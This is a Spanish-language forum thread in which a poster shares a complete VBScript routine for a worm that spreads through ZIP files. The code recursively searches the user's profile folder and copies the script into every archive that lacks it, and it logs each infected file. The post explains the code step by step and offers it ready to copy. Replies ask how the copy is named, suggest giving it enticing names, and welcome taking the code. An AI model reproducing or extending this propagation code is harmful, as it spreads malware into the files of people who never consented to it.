[VBS] Función para hacer "spread" a fichero ZIP

Iniciado por Mad Antrax, 10 Abril 2014, 09:49 AM

0 Miembros y 2 Visitantes están viendo este tema.

Mad Antrax

Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName


2) Recoger la ruta de los ficheros de la carpeta %userprofile%

   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files


3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If


6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next


==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código (vb) [Seleccionar]
On Error Resume Next

Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

Function ZipSpread(P)
   On Error Resume Next
   Set Folds = oFSO.GetFolder(P)
   Set Files = Folds.Files
   
   For Each File In Files
       ext = LCase(oFSO.GetExtensionName(File.path))
       If ext = "zip" Then
EXE = SelfPath
ZIP = File.path
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
RR = ""
For Each CC in FILE.Items
RR = RR & CC.Name
Next
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If
       End If
   Next
   Set File = Folds.Subfolders
   For Each Subfol In File
       Call ZipSpread(Subfol.path)
   Next
End Function

Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
F.Close

MsgBox "<end>"


Saludos!! :D
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

daryo

genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?
buenas

Mad Antrax

Cita de: daryo en 11 Abril 2014, 17:57 PM
genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?

Queda guardado en la carpeta raíz del ZIP, con el nombre del fichero original. Por ejemplo:

Fichero: gusano.vbs

En los ficheros ZIP que infecte, se copiará con el nombre gusano.vbs
Se podría modificar el script para que cambie o genere un nombre aleatório.

Saludos
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

daryo

ah gracias :) , si talves estaria bien ponerle nombres llamativos xD
buenas

titan6146

Sos una bestia muy util el code me lo llevo

BigBear

me gustaria traducirlo a delphi pero lo veo para avanzados.